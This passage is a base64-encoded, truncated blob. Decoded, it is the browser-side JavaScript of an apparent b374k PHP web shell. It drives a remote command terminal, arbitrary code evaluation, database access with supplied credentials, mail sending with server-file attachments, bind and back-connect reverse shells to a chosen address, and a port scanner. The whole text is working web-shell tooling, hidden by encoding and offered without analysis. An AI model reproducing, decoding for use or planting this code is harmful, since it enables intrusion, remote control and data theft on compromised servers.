QWN0aW9uJykudmFsKCdBY3Rpb24nKTsKCX0pOwoKCWNib3hfYmluZCgneHBsVGFibGUnLCd4cGxfdXBkYXRlX3N0YXR1cycpOwp9CgpmdW5jdGlvbiB4cGxfaHJlZihlbCl7CglyZXR1cm4gZWwucGFyZW50KCkucGFyZW50KCkuYXR0cignZGF0YS1wYXRoJyk7Cn0KCmZ1bmN0aW9uIG11bHRpbWVkaWEocGF0aCl7Cgl2YXIgYSA9ICQoJ3ZpZGVvJykuZ2V0KDApOwoJc2VuZF9wb3N0KHttdWx0aW1lZGlhOnBhdGh9LCBmdW5jdGlvbihyZXMpewoJCWEuc3JjID0gcmVzOwoJfSk7CgloaWRlX2JveCgpOwp9CgokKCcjdGVybWluYWxJbnB1dCcpLm9uKCdrZXlkb3duJywgZnVuY3Rpb24oZSl7CglpZihlLmtleUNvZGU9PTEzKXsKCQljbWQgPSAkKCcjdGVybWluYWxJbnB1dCcpLnZhbCgpOwoJCXRlcm1pbmFsSGlzdG9yeS5wdXNoKGNtZCk7CgkJdGVybWluYWxIaXN0b3J5UG9zID0gdGVybWluYWxIaXN0b3J5Lmxlbmd0aDsKCQlpZihjbWQ9PSdjbGVhcid8fGNtZD09J2NscycpewoJCQkkKCcjdGVybWluYWxPdXRwdXQnKS5odG1sKCcnKTsKCQl9CgkJZWxzZSBpZigocGF0aCA9IGNtZC5tYXRjaCgvY2QoLiopL2kpKSB8fCAocGF0aCA9IGNtZC5tYXRjaCgvXihbYS16XTopJC9pKSkpewoJCQlwYXRoID0gJC50cmltKHBhdGhbMV0pOwoJCQluYXZpZ2F0ZShwYXRoKTsKCQl9CgkJZWxzZSBpZihjbWQhPScnKXsKCQkJc2VuZF9wb3N0KHsgdGVybWluYWxJbnB1dDogY21kIH0sIGZ1bmN0aW9uKHJlcyl7CgkJCQljd2QgPSBodG1sX3NhZmUoZ2V0X2N3ZCgpKTsKCQkJCXJlcyA9ICc8c3BhbiBjbGFzcz1cJ3N0cm9uZ1wnPicrY3dkKycmZ3Q7PC9zcGFuPicraHRtbF9zYWZlKGNtZCkrICdcbicgKyByZXMrJ1xuJzsKCQkJCSQoJyN0ZXJtaW5hbE91dHB1dCcpLmFwcGVuZChyZXMpOwoJCQkJYm90dG9tID0gJChkb2N1bWVudCkuaGVpZ2h0KCktJCh3aW5kb3cpLmhlaWdodCgpOwoJCQkJJCh3aW5kb3cpLnNjcm9sbFRvcChib3R0b20pOwoJCQl9KTsKCQl9CgkJJCgnI3Rlcm1pbmFsSW5wdXQnKS52YWwoJycpOwoJCXNldFRpbWVvdXQoIiQoJyN0ZXJtaW5hbElucHV0JykuZm9jdXMoKSIsMTAwKTsKCX0KCWVsc2UgaWYoZS5rZXlDb2RlPT0zOCl7CgkJaWYodGVybWluYWxIaXN0b3J5UG9zPjApewoJCQl0ZXJtaW5hbEhpc3RvcnlQb3MtLTsKCQkJJCgnI3Rlcm1pbmFsSW5wdXQnKS52YWwodGVybWluYWxIaXN0b3J5W3Rlcm1pbmFsSGlzdG9yeVBvc10pOwoJCQlpZih0ZXJtaW5hbEhpc3RvcnlQb3M8MCkgdGVybWluYWxIaXN0b3J5UG9zID0gMDsKCQl9Cgl9CgllbHNlIGlmKGUua2V5Q29kZT09NDApewoJCWlmKHRlcm1pbmFsSGlzdG9yeVBvczx0ZXJtaW5hbEhpc3RvcnkubGVuZ3RoLTEpewoJCQl0ZXJtaW5hbEhpc3RvcnlQb3MrKzsKCQkJJCgnI3Rlcm1pbmFsSW5wdXQnKS52YWwodGVybWluYWxIaXN0b3J5W3Rlcm1pbmFsSGlzdG9yeVBvc10pOwoJCQlpZih0ZXJtaW5hbEhpc3RvcnlQb3M+dGVybWluYWxIaXN0b3J5Lmxlbmd0aCkgdGVybWluYWxIaXN0b3J5UG9zID0gdGVybWluYWxIaXN0b3J5Lmxlbmd0aDsKCQl9Cgl9CglmaXhfdGFiY2hhcih0aGlzLCBlKTsKfSk7CgpmdW5jdGlvbiBldmFsX2dvKCl7CglldmFsVHlwZSA9ICQoJyNldmFsVHlwZScpLnZhbCgpOwoJZXZhbElucHV0ID0gJCgnI2V2YWxJbnB1dCcpLnZhbCgpOwoJZXZhbE9wdGlvbnMgPSAkKCcjZXZhbE9wdGlvbnMnKS52YWwoKTsKCWV2YWxBcmd1bWVudHMgPSAkKCcjZXZhbEFyZ3VtZW50cycpLnZhbCgpOwoKCWlmKGV2YWxPcHRpb25zPT0nT3B0aW9ucy9Td2l0Y2hlcycpIGV2YWxPcHRpb25zID0gJyc7CglpZihldmFsQXJndW1lbnRzPT0nQXJndW1lbnRzJykgZXZhbEFyZ3VtZW50cyA9ICcnOwoKCWlmKCQudHJpbShldmFsSW5wdXQpIT0nJyl7CgkJc2VuZF9wb3N0KHsgZXZhbElucHV0OmV2YWxJbnB1dCwgZXZhbFR5cGU6ZXZhbFR5cGUsIGV2YWxPcHRpb25zOmV2YWxPcHRpb25zLCBldmFsQXJndW1lbnRzOmV2YWxBcmd1bWVudHMgfSwKCQkJZnVuY3Rpb24ocmVzKXsKCQkJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCQkJc3BsaXRzID0gcmVzLnNwbGl0KCd7W3xiMzc0a3xdfScpOwoJCQkJCWlmKHNwbGl0cy5sZW5ndGg9PTIpewoJCQkJCQlvdXRwdXQgPSBzcGxpdHNbMF0rIjxocj4iK3NwbGl0c1sxXTsKCQkJCQkJJCgnI2V2YWxPdXRwdXQnKS5odG1sKG91dHB1dCk7CgkJCQkJfQoJCQkJCWVsc2V7CgkJCQkJCSQoJyNldmFsT3V0cHV0JykuaHRtbChyZXMpOwoJCQkJCX0KCQkJCX0KCQkJfQoJCSk7Cgl9Cn0KCmZ1bmN0aW9uIGV2YWxfaW5pdCgpewoJaWYoKGV2YWxTdXBwb3J0ZWQgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnZXZhbFN1cHBvcnRlZCcpKSl7CgkJZXZhbF9iaW5kKCk7CgkJb3V0cHV0KCJldmFsIDogIitldmFsU3VwcG9ydGVkKTsKCQlldmFsUmVhZHkgPSB0cnVlOwoJfQoJZWxzZXsKCQlzZW5kX3Bvc3Qoe2V2YWxHZXRTdXBwb3J0ZWQ6ImV2YWxHZXRTdXBwb3J0ZWQifSwgZnVuY3Rpb24ocmVzKXsKCQkJZXZhbFJlYWR5ID0gdHJ1ZTsKCQkJaWYocmVzIT0iZXJyb3IiKXsKCQkJCWxvY2FsU3RvcmFnZS5zZXRJdGVtKCdldmFsU3VwcG9ydGVkJywgcmVzKTsKCQkJCWV2YWxTdXBwb3J0ZWQgPSByZXM7CgkJCQlldmFsX2JpbmQoKTsKCQkJCW91dHB1dCgiZXZhbCA6ICIrZXZhbFN1cHBvcnRlZCk7CgkJCX0KCQl9KTsKCX0KfQoKZnVuY3Rpb24gZXZhbF9iaW5kKCl7CglpZigoZXZhbFN1cHBvcnRlZCE9bnVsbCkmJihldmFsU3VwcG9ydGVkIT0nJykpewoJCXNwbGl0cyA9IGV2YWxTdXBwb3J0ZWQuc3BsaXQoIiwiKTsKCQkkLmVhY2goc3BsaXRzLCBmdW5jdGlvbihpLCBrKXsKCQkJJCgnI2V2YWxUeXBlJykuYXBwZW5kKCI8b3B0aW9uPiIraysiPC9vcHRpb24+Iik7CgkJfSk7Cgl9CgkkKCcjZXZhbFR5cGUnKS5vbignY2hhbmdlJywgZnVuY3Rpb24oZSl7CgkJaWYoJCgnI2V2YWxUeXBlJykudmFsKCk9PSdwaHAnKXsKCQkJJCgnI2V2YWxBZGRpdGlvbmFsJykuaGlkZSgpOwoJCX0KCQllbHNlewoJCQkkKCcjZXZhbEFkZGl0aW9uYWwnKS5zaG93KCk7CgkJfQoJfSk7CgkkKCcjZXZhbE9wdGlvbnMnKS5vbignZm9jdXMnLCBmdW5jdGlvbihlKXsKCQlvcHRpb25zID0gJCgnI2V2YWxPcHRpb25zJyk7CgkJaWYob3B0aW9ucy52YWwoKT09J09wdGlvbnMvU3dpdGNoZXMnKSBvcHRpb25zLnZhbCgnJyk7Cgl9KTsKCSQoJyNldmFsT3B0aW9ucycpLm9uKCdibHVyJywgZnVuY3Rpb24oZSl7CgkJb3B0aW9ucyA9ICQoJyNldmFsT3B0aW9ucycpOwoJCWlmKCQudHJpbShvcHRpb25zLnZhbCgpKT09JycpIG9wdGlvbnMudmFsKCdPcHRpb25zL1N3aXRjaGVzJyk7Cgl9KTsKCSQoJyNldmFsQXJndW1lbnRzJykub24oJ2ZvY3VzJywgZnVuY3Rpb24oZSl7CgkJYXJncyA9ICQoJyNldmFsQXJndW1lbnRzJyk7CgkJaWYoYXJncy52YWwoKT09J0FyZ3VtZW50cycpIGFyZ3MudmFsKCcnKTsKCX0pOwoJJCgnI2V2YWxBcmd1bWVudHMnKS5vbignYmx1cicsIGZ1bmN0aW9uKGUpewoJCWFyZ3MgPSAkKCcjZXZhbEFyZ3VtZW50cycpOwoJCWlmKCQudHJpbShhcmdzLnZhbCgpKT09JycpIGFyZ3MudmFsKCdBcmd1bWVudHMnKTsKCX0pOwoKCSQoJyNldmFsSW5wdXQnKS5vbigna2V5ZG93bicsIGZ1bmN0aW9uKGUpewoJCWlmKGUuY3RybEtleSAmJiAoZS5rZXlDb2RlID09IDEwIHx8IGUua2V5Q29kZSA9PSAxMykpewoJCQlldmFsX2dvKCk7CgkJfQoJCWZpeF90YWJjaGFyKHRoaXMsIGUpOwoJfSk7Cn0KWmVwdG8oZnVuY3Rpb24oJCl7CgkkKCcjZGVjb2RlU3RyJykub24oJ2tleWRvd24nLCBmdW5jdGlvbihlKXsKCQlpZihlLmN0cmxLZXkgJiYgKGUua2V5Q29kZSA9PSAxMCB8fCBlLmtleUNvZGUgPT0gMTMpKXsKCQkJZGVjb2RlX2dvKCk7CgkJfQoJCWZpeF90YWJjaGFyKHRoaXMsIGUpOwoJfSk7Cn0pOwoKZnVuY3Rpb24gZGVjb2RlX2dvKCl7CglkZWNvZGVTdHIgPSAkKCcjZGVjb2RlU3RyJykudmFsKCk7CglzZW5kX3Bvc3Qoe2RlY29kZVN0cjpkZWNvZGVTdHJ9LCBmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCSQoJyNkZWNvZGVSZXN1bHQnKS5odG1sKCcnKTsKCQkJJCgnI2RlY29kZVJlc3VsdCcpLmh0bWwocmVzKTsKCQl9Cgl9KTsKfQoKClplcHRvKGZ1bmN0aW9uKCQpewoJZGJfaW5pdCgpOwoKfSk7Cgp2YXIgZGJTdXBwb3J0ZWQgPSAiIjsKdmFyIGRiUGFnZUxpbWl0ID0gNTA7CgpmdW5jdGlvbiBkYl9pbml0KCl7CglpZigoZGJTdXBwb3J0ZWQgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnZGJfc3VwcG9ydGVkJykpKXsKCQlkYl9iaW5kKCk7CgkJb3V0cHV0KCJkYiA6ICIrZGJTdXBwb3J0ZWQpOwoJCWRiX2FkZF9zdXBwb3J0ZWQoKTsKCX0KCWVsc2V7CgkJc2VuZF9wb3N0KHtkYkdldFN1cHBvcnRlZDoiIn0sIGZ1bmN0aW9uKHJlcyl7CgkJCWlmKHJlcyE9ImVycm9yIil7CgkJCQlsb2NhbFN0b3JhZ2Uuc2V0SXRlbSgnZGJTdXBwb3J0ZWQnLCByZXMpOwoJCQkJZGJTdXBwb3J0ZWQgPSByZXM7CgkJCQlkYl9iaW5kKCk7CgkJCQlvdXRwdXQoImRiIDogIitkYlN1cHBvcnRlZCk7CgkJCQlkYl9hZGRfc3VwcG9ydGVkKCk7CgkJCX0KCQl9KTsKCX0KfQoKZnVuY3Rpb24gZGJfYWRkX3N1cHBvcnRlZCgpewoJc3BsaXRzID0gZGJTdXBwb3J0ZWQuc3BsaXQoIiwiKTsKCSQuZWFjaChzcGxpdHMsIGZ1bmN0aW9uKGksIGspewoJCSQoJyNkYlR5cGUnKS5hcHBlbmQoIjxvcHRpb24+IitrKyI8L29wdGlvbj4iKTsKCX0pOwp9CgpmdW5jdGlvbiBkYl9iaW5kKCl7CgkkKCcjZGJUeXBlJykub24oJ2NoYW5nZScsIGZ1bmN0aW9uKGUpewoJCXR5cGUgPSAkKCcjZGJUeXBlJykudmFsKCk7CgkJaWYoKHR5cGU9PSdvZGJjJyl8fCh0eXBlPT0ncGRvJykpewoJCQkkKCcuZGJIb3N0TGJsJykuaHRtbCgnRFNOIC8gQ29ubmVjdGlvbiBTdHJpbmcnKTsKCQkJJCgnLmRiVXNlclJvdycpLnNob3coKTsKCQkJJCgnLmRiUGFzc1JvdycpLnNob3coKTsKCQkJJCgnLmRiUG9ydFJvdycpLmhpZGUoKTsKCgkJfQoJCWVsc2UgaWYoKHR5cGU9PSdzcWxpdGUnKXx8KHR5cGU9PSdzcWxpdGUzJykpewoJCQkkKCcuZGJIb3N0TGJsJykuaHRtbCgnREIgRmlsZScpOwoJCQkkKCcuZGJVc2VyUm93JykuaGlkZSgpOwoJCQkkKCcuZGJQYXNzUm93JykuaGlkZSgpOwoJCQkkKCcuZGJQb3J0Um93JykuaGlkZSgpOwoKCQl9CgkJZWxzZXsKCQkJJCgnLmRiSG9zdExibCcpLmh0bWwoJ0hvc3QnKTsKCQkJJCgnLmRiVXNlclJvdycpLnNob3coKTsKCQkJJCgnLmRiUGFzc1JvdycpLnNob3coKTsKCQkJJCgnLmRiUG9ydFJvdycpLnNob3coKTsKCQl9Cgl9KTsKCgkkKCcjZGJRdWVyeScpLm9uKCdmb2N1cycsIGZ1bmN0aW9uKGUpewoJCWlmKCQoJyNkYlF1ZXJ5JykudmFsKCk9PSdZb3UgY2FuIGFsc28gcHJlc3MgY3RybCtlbnRlciB0byBzdWJtaXQnKXsKCQkJJCgnI2RiUXVlcnknKS52YWwoJycpOwoJCX0KCX0pOwoJJCgnI2RiUXVlcnknKS5vbignYmx1cicsIGZ1bmN0aW9uKGUpewoJCWlmKCQoJyNkYlF1ZXJ5JykudmFsKCk9PScnKXsKCQkJJCgnI2RiUXVlcnknKS52YWwoJ1lvdSBjYW4gYWxzbyBwcmVzcyBjdHJsK2VudGVyIHRvIHN1Ym1pdCcpOwoJCX0KCX0pOwoJJCgnI2RiUXVlcnknKS5vbigna2V5ZG93bicsIGZ1bmN0aW9uKGUpewoJCWlmKGUuY3RybEtleSAmJiAoZS5rZXlDb2RlID09IDEwIHx8IGUua2V5Q29kZSA9PSAxMykpewoJCQlkYl9ydW4oKTsKCQl9Cgl9KTsKfQoKZnVuY3Rpb24gZGJfbmF2X2JpbmQoKXsKCWRiVHlwZSA9ICQoJyNkYlR5cGUnKS52YWwoKTsKCSQoJy5ib3hOYXYnKS5vZmYoJ2NsaWNrJyk7CgkkKCcuYm94TmF2Jykub24oJ2NsaWNrJywgZnVuY3Rpb24oKXsKCQkkKHRoaXMpLm5leHQoKS50b2dnbGUoKTsKCX0pOwoKCSQoJy5kYlRhYmxlJykub2ZmKCdjbGljaycpOwoJJCgnLmRiVGFibGUnKS5vbignY2xpY2snLCBmdW5jdGlvbigpewoJCXR5cGUgPSAkKCcjZGJUeXBlJykudmFsKCk7CgkJdGFibGUgPSAkKHRoaXMpLmh0bWwoKTsKCQlkYiA9ICQodGhpcykucGFyZW50KCkucGFyZW50KCkucGFyZW50KCkucHJldigpLmh0bWwoKTsKCQlkYl9xdWVyeV90YmwodHlwZSwgZGIsIHRhYmxlLCAwLCBkYlBhZ2VMaW1pdCk7Cgl9KTsKfQoKZnVuY3Rpb24gZGJfY29ubmVjdCgpewoJZGJUeXBlID0gJCgnI2RiVHlwZScpLnZhbCgpOwoJZGJIb3N0ID0gJCgnI2RiSG9zdCcpLnZhbCgpOwoJZGJVc2VyID0gJCgnI2RiVXNlcicpLnZhbCgpOwoJZGJQYXNzID0gJCgnI2RiUGFzcycpLnZhbCgpOwoJZGJQb3J0ID0gJCgnI2RiUG9ydCcpLnZhbCgpOwoJc2VuZF9wb3N0KHtkYlR5cGU6ZGJUeXBlLCBkYkhvc3Q6ZGJIb3N0LCBkYlVzZXI6ZGJVc2VyLCBkYlBhc3M6ZGJQYXNzLCBkYlBvcnQ6ZGJQb3J0fSwgZnVuY3Rpb24ocmVzKXsKCQlpZihyZXMhPSdlcnJvcicpewoJCQkkKCcjZGJOYXYnKS5odG1sKHJlcyk7CgkJCSQoJy5kYkhvc3RSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYlVzZXJSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYlBhc3NSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYlBvcnRSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYkNvbm5lY3RSb3cnKS5oaWRlKCk7CgkJCSQoJy5kYlF1ZXJ5Um93Jykuc2hvdygpOwoJCQkkKCcjZGJCb3R0b20nKS5zaG93KCk7CgkJCWRiX25hdl9iaW5kKCk7CgkJfQoJCWVsc2UgJCgnLmRiRXJyb3InKS5odG1sKCdVbmFibGUgdG8gY29ubmVjdCcpOwoJfSk7Cn0KCmZ1bmN0aW9uIGRiX2Rpc2Nvbm5lY3QoKXsKCSQoJy5kYkhvc3RSb3cnKS5zaG93KCk7CgkkKCcuZGJVc2VyUm93Jykuc2hvdygpOwoJJCgnLmRiUGFzc1JvdycpLnNob3coKTsKCSQoJy5kYlBvcnRSb3cnKS5zaG93KCk7CgkkKCcuZGJDb25uZWN0Um93Jykuc2hvdygpOwoJJCgnLmRiUXVlcnlSb3cnKS5oaWRlKCk7CgkkKCcjZGJOYXYnKS5odG1sKCcnKTsKCSQoJyNkYlJlc3VsdCcpLmh0bWwoJycpOwoJJCgnI2RiQm90dG9tJykuaGlkZSgpOwp9CgpmdW5jdGlvbiBkYl9ydW4oKXsKCWRiVHlwZSA9ICQoJyNkYlR5cGUnKS52YWwoKTsKCWRiSG9zdCA9ICQoJyNkYkhvc3QnKS52YWwoKTsKCWRiVXNlciA9ICQoJyNkYlVzZXInKS52YWwoKTsKCWRiUGFzcyA9ICQoJyNkYlBhc3MnKS52YWwoKTsKCWRiUG9ydCA9ICQoJyNkYlBvcnQnKS52YWwoKTsKCWRiUXVlcnkgPSAkKCcjZGJRdWVyeScpLnZhbCgpOwoKCWlmKChkYlF1ZXJ5IT0nJykmJihkYlF1ZXJ5IT0nWW91IGNhbiBhbHNvIHByZXNzIGN0cmwrZW50ZXIgdG8gc3VibWl0JykpewoJCXNlbmRfcG9zdCh7ZGJUeXBlOmRiVHlwZSwgZGJIb3N0OmRiSG9zdCwgZGJVc2VyOmRiVXNlciwgZGJQYXNzOmRiUGFzcywgZGJQb3J0OmRiUG9ydCwgZGJRdWVyeTpkYlF1ZXJ5fSwgZnVuY3Rpb24ocmVzKXsKCQkJaWYocmVzIT0nZXJyb3InKXsKCQkJCSQoJyNkYlJlc3VsdCcpLmh0bWwocmVzKTsKCQkJCSQoJy50YmxSZXN1bHQnKS5lYWNoKGZ1bmN0aW9uKCl7CgkJCQkJc29ydHRhYmxlLmsodGhpcyk7CgkJCQl9KTsKCQkJfQoJCX0pOwoJfQp9CgpmdW5jdGlvbiBkYl9xdWVyeV90YmwodHlwZSwgZGIsIHRhYmxlLCBzdGFydCwgbGltaXQpewoJZGJUeXBlID0gJCgnI2RiVHlwZScpLnZhbCgpOwoJZGJIb3N0ID0gJCgnI2RiSG9zdCcpLnZhbCgpOwoJZGJVc2VyID0gJCgnI2RiVXNlcicpLnZhbCgpOwoJZGJQYXNzID0gJCgnI2RiUGFzcycpLnZhbCgpOwoJZGJQb3J0ID0gJCgnI2RiUG9ydCcpLnZhbCgpOwoKCXNlbmRfcG9zdCh7ZGJUeXBlOmRiVHlwZSwgZGJIb3N0OmRiSG9zdCwgZGJVc2VyOmRiVXNlciwgZGJQYXNzOmRiUGFzcywgZGJQb3J0OmRiUG9ydCwgZGJRdWVyeTonJywgZGJEQjpkYiwgZGJUYWJsZTp0YWJsZSwgZGJTdGFydDpzdGFydCwgZGJMaW1pdDpsaW1pdH0sIGZ1bmN0aW9uKHJlcyl7CgkJaWYocmVzIT0nZXJyb3InKXsKCQkJJCgnI2RiUmVzdWx0JykuaHRtbChyZXMpOwoJCQkkKCcudGJsUmVzdWx0JykuZWFjaChmdW5jdGlvbigpewoJCQkJc29ydHRhYmxlLmsodGhpcyk7CgkJCX0pOwoJCX0KCX0pOwp9CgpmdW5jdGlvbiBkYl9wYWdpbmF0aW9uKHR5cGUpewoJZGIgPSAkKCcjZGJEQicpLnZhbCgpOwoJdGFibGUgPSAkKCcjZGJUYWJsZScpLnZhbCgpOwoJc3RhcnQgPSBwYXJzZUludCgkKCcjZGJTdGFydCcpLnZhbCgpKTsKCWxpbWl0ID0gcGFyc2VJbnQoJCgnI2RiTGltaXQnKS52YWwoKSk7CglkYlR5cGUgPSAkKCcjZGJUeXBlJykudmFsKCk7CgoJaWYodHlwZT09J25leHQnKXsKCQlzdGFydCA9IHN0YXJ0K2xpbWl0OwoJfQoJZWxzZSBpZih0eXBlPT0ncHJldicpewoJCXN0YXJ0ID0gc3RhcnQtbGltaXQ7CgkJaWYoc3RhcnQ8MCkgc3RhcnQgPSAwOwoJfQoJZGJfcXVlcnlfdGJsKGRiVHlwZSwgZGIsIHRhYmxlLCBzdGFydCwgbGltaXQpOwp9CgpaZXB0byhmdW5jdGlvbigkKXsKCWluZm9faW5pdCgpOwoKfSk7CgpmdW5jdGlvbiBpbmZvX2luaXQoKXsKCWlmKChpbmZvUmVzdWx0ID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2luZm9SZXN1bHQnKSkpewoJCSQoJy5pbmZvUmVzdWx0JykuaHRtbChpbmZvUmVzdWx0KTsKCX0KCWVsc2V7CgkJaW5mb19yZWZyZXNoKCk7Cgl9Cn0KCmZ1bmN0aW9uIGluZm9fdG9nZ2xlKGlkKXsKCSQoJyMnK2lkKS50b2dnbGUoKTsKfQoKZnVuY3Rpb24gaW5mb19yZWZyZXNoKCl7CglzZW5kX3Bvc3Qoe2luZm9SZWZyZXNoOidpbmZvUmVmcmVzaCd9LCBmdW5jdGlvbihyZXMpewoJCSQoJy5pbmZvUmVzdWx0JykuaHRtbChyZXMpOwoJCWxvY2FsU3RvcmFnZS5zZXRJdGVtKCdpbmZvUmVzdWx0JywgcmVzKTsKCX0pOwp9CgpaZXB0byhmdW5jdGlvbigkKXsKCn0pOwoKZnVuY3Rpb24gbWFpbF9zZW5kKCl7CgltYWlsRnJvbSA9ICQudHJpbSgkKCcjbWFpbEZyb20nKS52YWwoKSk7CgltYWlsVG8gPSAkLnRyaW0oJCgnI21haWxUbycpLnZhbCgpKTsKCW1haWxTdWJqZWN0ID0gJC50cmltKCQoJyNtYWlsU3ViamVjdCcpLnZhbCgpKTsKCW1haWxDb250ZW50ID0gJCgnI21haWxDb250ZW50JykudmFsKCk7CgltYWlsQXR0YWNobWVudCA9ICcnOwoJaWYoJCgnLm1haWxBdHRhY2htZW50JykpewoJCW1haWxBdHRhY2htZW50ID0gJCgnLm1haWxBdHRhY2htZW50JykubWFwKGZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLnZhbHVlOyB9KS5nZXQoKS5qb2luKCd7W3xiMzc0a3xdfScpOwoJfQoKCXNlbmRfcG9zdCh7bWFpbEZyb206bWFpbEZyb20sIG1haWxUbzptYWlsVG8sIG1haWxTdWJqZWN0Om1haWxTdWJqZWN0LCBtYWlsQ29udGVudDptYWlsQ29udGVudCwgbWFpbEF0dGFjaG1lbnQ6bWFpbEF0dGFjaG1lbnR9LCBmdW5jdGlvbihyZXMpewoJCSQoJyNtYWlsUmVzdWx0JykuaHRtbChyZXMpOwoJfSk7Cn0KCmZ1bmN0aW9uIG1haWxfYXR0YWNoKCl7Cgljb250ZW50ID0gIjx0cj48dGQ+TG9jYWwgZmlsZSA8YSBvbmNsaWNrPVwiJCh0aGlzKS5wYXJlbnQoKS5wYXJlbnQoKS5yZW1vdmUoKTtcIj4oLSk8L2E+PC90ZD48dGQgY29sc3Bhbj0nMic+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdtYWlsQXR0YWNobWVudCcgdmFsdWU9Jyc+PC90ZD48L3RyPiI7CgkkKCcjbWFpbFRCb2R5JykuYXBwZW5kKGNvbnRlbnQpOwp9CgpaZXB0byhmdW5jdGlvbigkKXsKCXJzX2luaXQoKTsKCn0pOwoKZnVuY3Rpb24gcnNfaW5pdCgpewoJaWYoZXZhbFJlYWR5JiYoZXZhbFN1cHBvcnRlZCE9bnVsbCkmJihldmFsU3VwcG9ydGVkIT0nJykpewoJCXNwbGl0cyA9IGV2YWxTdXBwb3J0ZWQuc3BsaXQoIiwiKTsKCQkkLmVhY2goc3BsaXRzLCBmdW5jdGlvbihpLCBrKXsKCQkJJCgnLnJzVHlwZScpLmFwcGVuZCgiPG9wdGlvbj4iK2srIjwvb3B0aW9uPiIpOwoJCX0pOwoJfQoJZWxzZSBzZXRUaW1lb3V0KCdyc19pbml0KCknLCAxMDAwKTsKCgkkKCcjcGFja2V0Q29udGVudCcpLm9uKCdrZXlkb3duJywgZnVuY3Rpb24oZSl7CgkJaWYoZS5jdHJsS2V5ICYmIChlLmtleUNvZGUgPT0gMTAgfHwgZS5rZXlDb2RlID09IDEzKSl7CgkJCXBhY2tldF9nbygpOwoJCX0KCQlmaXhfdGFiY2hhcih0aGlzLCBlKTsKCX0pOwp9CgpmdW5jdGlvbiByc19nb19iaW5kKCl7Cglyc19nbygnYmluZCcpOwp9CmZ1bmN0aW9uIHJzX2dvX2JhY2soKXsKCXJzX2dvKCdiYWNrJyk7Cn0KCmZ1bmN0aW9uIHJzX2dvKHJzVHlwZSl7Cglyc0FyZ3MgPSAiIjsKCWlmKHJzVHlwZT09J2JpbmQnKXsKCQlyc1BvcnQgPSBwYXJzZUludCgkKCcjYmluZFBvcnQnKS52YWwoKSk7CgkJcnNMYW5nID0gJCgnI2JpbmRMYW5nJykudmFsKCk7CgkJcnNBcmdzID0gcnNQb3J0OwoJCXJzUmVzdWx0ID0gJCgnI2JpbmRSZXN1bHQnKTsKCX0KCWVsc2UgaWYocnNUeXBlPT0nYmFjaycpewoJCXJzQWRkciA9ICQoJyNiYWNrQWRkcicpLnZhbCgpOwoJCXJzUG9ydCA9IHBhcnNlSW50KCQoJyNiYWNrUG9ydCcpLnZhbCgpKTsKCQlyc0xhbmcgPSAkKCcjYmFja0xhbmcnKS52YWwoKTsKCQlyc0FyZ3MgPSByc1BvcnQgKyAnICcgKyByc0FkZHI7CgkJcnNSZXN1bHQgPSAkKCcjYmFja1Jlc3VsdCcpOwoJfQoKCWlmKChpc05hTihyc1BvcnQpKXx8KHJzUG9ydDw9MCl8fChyc1BvcnQ+NjU1MzUpKXsKCQlyc1Jlc3VsdC5odG1sKCdJbnZhbGlkIHBvcnQnKTsKCQlyZXR1cm47Cgl9CgoJaWYocnNBcmdzIT0nJyl7CgkJc2VuZF9wb3N0KHsgcnNMYW5nOnJzTGFuZywgcnNBcmdzOnJzQXJncyB9LAoJCQlmdW5jdGlvbihyZXMpewoJCQkJaWYocmVzIT0nZXJyb3InKXsKCQkJCQlzcGxpdHMgPSByZXMuc3BsaXQoJ3tbfGIzNzRrfF19Jyk7CgkJCQkJaWYoc3BsaXRzLmxlbmd0aD09Mil7CgkJCQkJCW91dHB1dCA9IHNwbGl0c1swXSsiPGhyPiIrc3BsaXRzWzFdOwoJCQkJCQlyc1Jlc3VsdC5odG1sKG91dHB1dCk7CgkJCQkJfQoJCQkJCWVsc2V7CgkJCQkJCXJzUmVzdWx0Lmh0bWwocmVzKTsKCQkJCQl9CgkJCQl9CgkJCX0KCQkpOwoJfQp9CgpmdW5jdGlvbiBwYWNrZXRfZ28oKXsKCXBhY2tldEhvc3QgPSAkKCcjcGFja2V0SG9zdCcpLnZhbCgpOwoJcGFja2V0U3RhcnRQb3J0ID0gcGFyc2VJbnQoJCgnI3BhY2tldFN0YXJ0UG9ydCcpLnZhbCgpKTsKCXBhY2tldEVuZFBvcnQgPSBwYXJzZUludCgkKCcjcGFja2V0RW5kUG9ydCcpLnZhbCgpKTsKCXBhY2tldFRpbWVvdXQgPSBwYXJzZUludCgkKCcjcGFja2V0VGltZW91dCcpLnZhbCgpKTsKCXBhY2tldFNUaW1lb3V0ID0gcGFyc2VJbnQoJCgnI3BhY2tldFNUaW1lb3V0JykudmFsKCkpOwoJcGFja2V0Q29udGVudCA9ICQoJyNwYWNrZXRDb250ZW50JykudmFsKCk7CglwYWNrZXRSZXN1bHQgPSAkKCcjcGFja2V0UmVzdWx0Jyk7CglwYWNrZXRTdGF0dXMgPSAkKCcjcGFja2V0U3RhdHVzJyk7CgoJaWYoKGlzTmFOKHBhY2tldFN0YXJ0UG9ydCkpfHwocGFja2V0U3RhcnRQb3J0PD0wKXx8KHBhY2tldFN0YXJ0UG9ydD42NTUzNSkpewoJCXBhY2tldFJlc3VsdC5odG1sKCdJbnZhbGlkIHN0YXJ0IHBvcnQnKTsKCQlyZXR1cm47Cgl9CglpZigoaXNOYU4ocGFja2V0RW5kUG9ydCkpfHwocGFja2V0RW5kUG9ydDw9MCl8fChwYWNrZXRFbmRQb3J0PjY1NTM1KSl7CgkJcGFja2V0UmVzdWx0Lmh0bWwoJ0ludmFsaWQgZW5kIHBvcnQnKTsKCQlyZXR1cm47Cgl9CglpZigoaXNOYU4ocGFja2V0VGltZW91dCkpfHwocGFja2V0VGltZW91dDw9MCkpewoJCXBhY2tldFJlc3VsdC5odG1sKCdJbnZhbGlkIGNvbm5lY3Rpb24gdGltZW91dCcpOwoJCXJldHVybjsKCX0KCWlmKChpc05hTihwYWNrZXRTVGltZW91dCkpfHwocGFja2V0U1RpbWVvdXQ8PTApKXsKCQlwYWNrZXRSZXN1bHQuaHRtbCgnS